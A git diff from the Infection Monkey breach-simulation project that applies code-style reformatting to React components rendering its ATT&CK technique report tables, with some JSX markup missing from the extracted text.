+++ b/monkey/monkey_island/cc/ui/server.js
@@ -14,19 +14,19 @@ let isInitialCompilation = true;
const compiler = webpack(config);
new WebpackDevServer(compiler, config.devServer)
-.listen(config.port, 'localhost', (err) => {
- if (err) {
- console.log(err);
- }
- console.log('Listening at localhost:' + config.port);
-});
+ .listen(config.port, 'localhost', (err) => {
+ if (err) {
+ console.log(err);
+ }
+ console.log('Listening at localhost:' + config.port);
+ });
compiler.plugin('done', () => {
if (isInitialCompilation) {
// Ensures that we log after webpack printed its stats (is there a better way?)
setTimeout(() => {
console.log('\n✓ The bundle is now ready for serving!\n');
- console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
+ console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n');
console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.')
}, 350);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js
index 2e7ef4fc3..640032767 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js
@@ -14,10 +14,10 @@ class MatrixComponent extends AuthComponent {
};
// Finds which attack type has most techniques and returns that number
- static findMaxTechniques(data){
+ static findMaxTechniques(data) {
let maxLen = 0;
- data.forEach(function(techType) {
- if (Object.keys(techType.properties).length > maxLen){
+ data.forEach(function (techType) {
+ if (Object.keys(techType.properties).length > maxLen) {
maxLen = Object.keys(techType.properties).length
}
});
@@ -25,18 +25,18 @@ class MatrixComponent extends AuthComponent {
};
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
- static parseTechniques (data, maxLen) {
+ static parseTechniques(data, maxLen) {
let techniques = [];
// Create rows with attack techniques
for (let i = 0; i < maxLen; i++) {
let row = {};
- data.forEach(function(techType){
+ data.forEach(function (techType) {
let rowColumn = {};
rowColumn.techName = techType.title;
if (i <= Object.keys(techType.properties).length) {
rowColumn.technique = Object.values(techType.properties)[i];
- if (rowColumn.technique){
+ if (rowColumn.technique) {
rowColumn.technique.name = Object.keys(techType.properties)[i]
}
} else {
@@ -50,28 +50,28 @@ class MatrixComponent extends AuthComponent {
};
getColumns(matrixData) {
- return Object.keys(matrixData[0]).map((key)=>{
+ return Object.keys(matrixData[0]).map((key) => {
return {
Header: key,
id: key,
accessor: x => this.renderTechnique(x[key].technique),
- style: { 'whiteSpace': 'unset' }
+ style: {'whiteSpace': 'unset'}
};
});
}
renderTechnique(technique) {
- if (technique == null){
- return (
)
+ if (technique == null) {
+ return (
)
} else {
return (
-
- {technique.title}
-
- )
+
+ {technique.title}
+
+ )
}
};
@@ -85,20 +85,20 @@ class MatrixComponent extends AuthComponent {
renderLegend = () => {
return (
- )
+ )
};
render() {
@@ -110,7 +110,7 @@ class MatrixComponent extends AuthComponent {
+ defaultPageSize={tableData['maxTechniques']}/>
);
}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
index 4d4f55dad..7b7215db0 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
@@ -1,57 +1,62 @@
import React from "react";
-export function renderMachine(val){
- return (
- {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
- )
+export function renderMachine(val) {
+ return (
+ {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
+ )
}
/* Function takes data gathered from system info collector and creates a
string representation of machine from that data. */
export function renderMachineFromSystemData(data) {
- let machineStr = data['hostname'] + " ( ";
- data['ips'].forEach(function(ipInfo){
- if(typeof ipInfo === "object"){
- machineStr += ipInfo['addr'] + ", ";
- } else {
- machineStr += ipInfo + ", ";
- }
- });
- // Replaces " ," with " )" to finish a list of IP's
- return machineStr.slice(0, -2) + " )"
+ let machineStr = data['hostname'] + " ( ";
+ data['ips'].forEach(function (ipInfo) {
+ if (typeof ipInfo === "object") {
+ machineStr += ipInfo['addr'] + ", ";
+ } else {
+ machineStr += ipInfo + ", ";
+ }
+ });
+ // Replaces " ," with " )" to finish a list of IP's
+ return machineStr.slice(0, -2) + " )"
}
/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
for react table. */
export function getUsageColumns() {
- return ([{
- columns: [
- {Header: 'Machine',
- id: 'machine',
- accessor: x => renderMachineFromSystemData(x.machine),
- style: { 'whiteSpace': 'unset' },
- width: 300},
- {Header: 'Usage',
- id: 'usage',
- accessor: x => x.usage,
- style: { 'whiteSpace': 'unset' }}]
- }])}
+ return ([{
+ columns: [
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'},
+ width: 300
+ },
+ {
+ Header: 'Usage',
+ id: 'usage',
+ accessor: x => x.usage,
+ style: {'whiteSpace': 'unset'}
+ }]
+ }])
+}
/* Renders table fields that contains 'used' boolean value and 'name' string value.
'Used' value determines if 'name' value will be shown.
*/
-export function renderUsageFields(usages){
- let output = [];
- usages.forEach(function(usage){
- if(usage['used']){
- output.push({usage['name']}
)
- }
- });
- return ({output}
);
- }
+export function renderUsageFields(usages) {
+ let output = [];
+ usages.forEach(function (usage) {
+ if (usage['used']) {
+ output.push({usage['name']}
)
+ }
+ });
+ return ({output}
);
+}
export const ScanStatus = {
- UNSCANNED: 0,
- SCANNED: 1,
- USED: 2
+ UNSCANNED: 0,
+ SCANNED: 1,
+ USED: 2
};
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
index 24d742c14..ccebd3e7c 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
@@ -17,7 +17,8 @@ class T1003 extends React.Component {
{this.props.data.message}
{this.props.data.status === ScanStatus.USED ?
-
+
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
index 6d46c2285..799b91d08 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
@@ -13,10 +13,17 @@ class T1005 extends React.Component {
return ([{
Header: "Sensitive data",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
- {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
- ]}])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: {'whiteSpace': 'unset'}},
+ {Header: 'Info', id: 'info', accessor: x => x.info, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -25,10 +32,10 @@ class T1005 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
index 63e2bb4a5..c5a02a8f7 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1016 extends React.Component {
@@ -14,10 +14,16 @@ class T1016 extends React.Component {
return ([{
Header: "Network configuration info gathered",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -26,10 +32,10 @@ class T1016 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
index dcf7687db..e54f4c89c 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, renderMachine, ScanStatus} from "./Helpers"
class T1018 extends React.Component {
@@ -10,9 +10,9 @@ class T1018 extends React.Component {
super(props);
}
- static renderMachines(machines){
+ static renderMachines(machines) {
let output = [];
- machines.forEach(function(machine){
+ machines.forEach(function (machine) {
output.push(renderMachine(machine))
});
return ({output}
);
@@ -21,12 +21,23 @@ class T1018 extends React.Component {
static getScanInfoColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
- {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
- {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.monkey),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'First scan', id: 'started', accessor: x => x.started, style: {'whiteSpace': 'unset'}},
+ {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: {'whiteSpace': 'unset'}},
+ {
+ Header: 'Systems found',
+ id: 'systems',
+ accessor: x => T1018.renderMachines(x.machines),
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
render() {
return (
@@ -35,10 +46,10 @@ class T1018 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
index ce8688af1..e9b21d7f4 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1021 extends React.Component {
@@ -13,12 +13,20 @@ class T1021 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
- style: { 'whiteSpace': 'unset' }, width: 160},
- {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
- {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: {'whiteSpace': 'unset'}, width: 160
+ },
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
+ {
+ Header: 'Valid account used',
+ id: 'credentials',
+ accessor: x => this.renderCreds(x.successful_creds),
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
static renderCreds(creds) {
return {creds.map(cred => {cred}
)}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
index 7345ca497..b95b6bb45 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { getUsageColumns } from "./Helpers"
+import {getUsageColumns} from "./Helpers"
class T1035 extends React.Component {
@@ -17,10 +17,10 @@ class T1035 extends React.Component {
{this.props.data.services.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
index 3d6b45d08..9749186fe 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
@@ -13,9 +13,11 @@ class T1041 extends React.Component {
return ([{
Header: "Data exfiltration channels",
columns: [
- {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
- {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
- ]}])};
+ {Header: 'Source', id: 'src', accessor: x => x.src, style: {'whiteSpace': 'unset'}},
+ {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: {'whiteSpace': 'unset'}}
+ ]
+ }])
+ };
render() {
return (
@@ -24,10 +26,10 @@ class T1041 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 4651f5c41..ba886b6c7 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1059 extends React.Component {
@@ -14,11 +14,18 @@ class T1059 extends React.Component {
return ([{
Header: 'Example commands used',
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
- {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachine(x.data.machine),
+ style: {'whiteSpace': 'unset'},
+ width: 160
+ },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: {'whiteSpace': 'unset'}},
+ {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -27,10 +34,10 @@ class T1059 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
index f57abd4b8..27b099f82 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { getUsageColumns } from "./Helpers"
+import {getUsageColumns} from "./Helpers"
class T1064 extends React.Component {
@@ -17,10 +17,10 @@ class T1064 extends React.Component {
{this.props.data.scripts.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
index 3cd12560b..db2bb943a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1075 extends React.Component {
@@ -11,10 +11,10 @@ class T1075 extends React.Component {
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
}
- setLoginHashType(login){
- if(login.attempts[0].ntlm_hash !== ""){
+ setLoginHashType(login) {
+ if (login.attempts[0].ntlm_hash !== "") {
login.attempts[0].hashType = 'NTLM';
- } else if(login.attempts[0].lm_hash !== ""){
+ } else if (login.attempts[0].lm_hash !== "") {
login.attempts[0].hashType = 'LM';
}
}
@@ -22,12 +22,13 @@ class T1075 extends React.Component {
static getHashColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
- {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
- {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}},
+ {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: {'whiteSpace': 'unset'}},
+ {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -36,10 +37,10 @@ class T1075 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
index 8570ab1b0..1e04f9da8 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1082 extends React.Component {
@@ -13,10 +13,16 @@ class T1082 extends React.Component {
static getSystemInfoColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -25,10 +31,10 @@ class T1082 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
index db75d8dda..faeff7862 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1086 extends React.Component {
@@ -14,11 +14,18 @@ class T1086 extends React.Component {
return ([{
Header: 'Example Powershell commands used',
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
- {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachine(x.data[0].machine),
+ style: {'whiteSpace': 'unset'},
+ width: 160
+ },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
+ {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -27,10 +34,10 @@ class T1086 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
index 934e76694..8aa0de2c2 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1090 extends React.Component {
@@ -13,10 +13,13 @@ class T1090 extends React.Component {
static getProxyColumns() {
return ([{
columns: [
- {Header: 'Machines',
+ {
+ Header: 'Machines',
id: 'machine',
accessor: x => renderMachineFromSystemData(x),
- style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
+ style: {'whiteSpace': 'unset', textAlign: 'center'}
+ }]
+ }])
};
render() {
@@ -26,10 +29,10 @@ class T1090 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
index 8acd48c4b..d1df0e9e6 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { ScanStatus } from "./Helpers"
+import {ScanStatus} from "./Helpers"
class T1105 extends React.Component {
@@ -14,11 +14,12 @@ class T1105 extends React.Component {
return ([{
Header: 'Files copied',
columns: [
- {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
- {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
- {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
- ]
- }])};
+ {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: {'whiteSpace': 'unset'}, width: 170},
+ {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: {'whiteSpace': 'unset'}, width: 170},
+ {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -27,10 +28,10 @@ class T1105 extends React.Component {
{this.props.data.status !== ScanStatus.UNSCANNED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
index a3210b73c..febebb30d 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { getUsageColumns } from "./Helpers"
+import {getUsageColumns} from "./Helpers"
class T1106 extends React.Component {
@@ -17,10 +17,10 @@ class T1106 extends React.Component {
{this.props.data.api_uses.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
index d80dc3f0e..faabf95a2 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1107 extends React.Component {
@@ -10,8 +10,8 @@ class T1107 extends React.Component {
super(props);
}
- static renderDelete(status){
- if(status === ScanStatus.USED){
+ static renderDelete(status) {
+ if (status === ScanStatus.USED) {
return Yes
} else {
return No
@@ -21,11 +21,19 @@ class T1107 extends React.Component {
static getDeletedFileColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
- {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
- style: { 'whiteSpace': 'unset' }, width: 160}]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x._id.machine),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'Path', id: 'path', accessor: x => x._id.path, style: {'whiteSpace': 'unset'}},
+ {
+ Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
+ style: {'whiteSpace': 'unset'}, width: 160
+ }]
+ }])
+ };
render() {
return (
@@ -34,10 +42,10 @@ class T1107 extends React.Component {
{this.props.data.deleted_files.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
index da9682da3..475e79fed 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1110 extends React.Component {
@@ -13,15 +13,23 @@ class T1110 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
- style: { 'whiteSpace': 'unset' }, width: 160},
- {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
- {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
- {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160},
- {Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: {'whiteSpace': 'unset'}, width: 160
+ },
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
+ {Header: 'Started', id: 'started', accessor: x => x.info.started, style: {'whiteSpace': 'unset'}},
+ {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: {'whiteSpace': 'unset'}},
+ {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: {'whiteSpace': 'unset'}, width: 160},
+ {
+ Header: 'Successful credentials',
+ id: 'credentials',
+ accessor: x => this.renderCreds(x.successful_creds),
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
static renderCreds(creds) {
return {creds.map(cred => {cred}
)}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
index 64db13f81..cd19be877 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
@@ -16,10 +16,10 @@ class T1129 extends React.Component {
{this.props.data.dlls.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
index 641602dc5..2383a0bcc 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
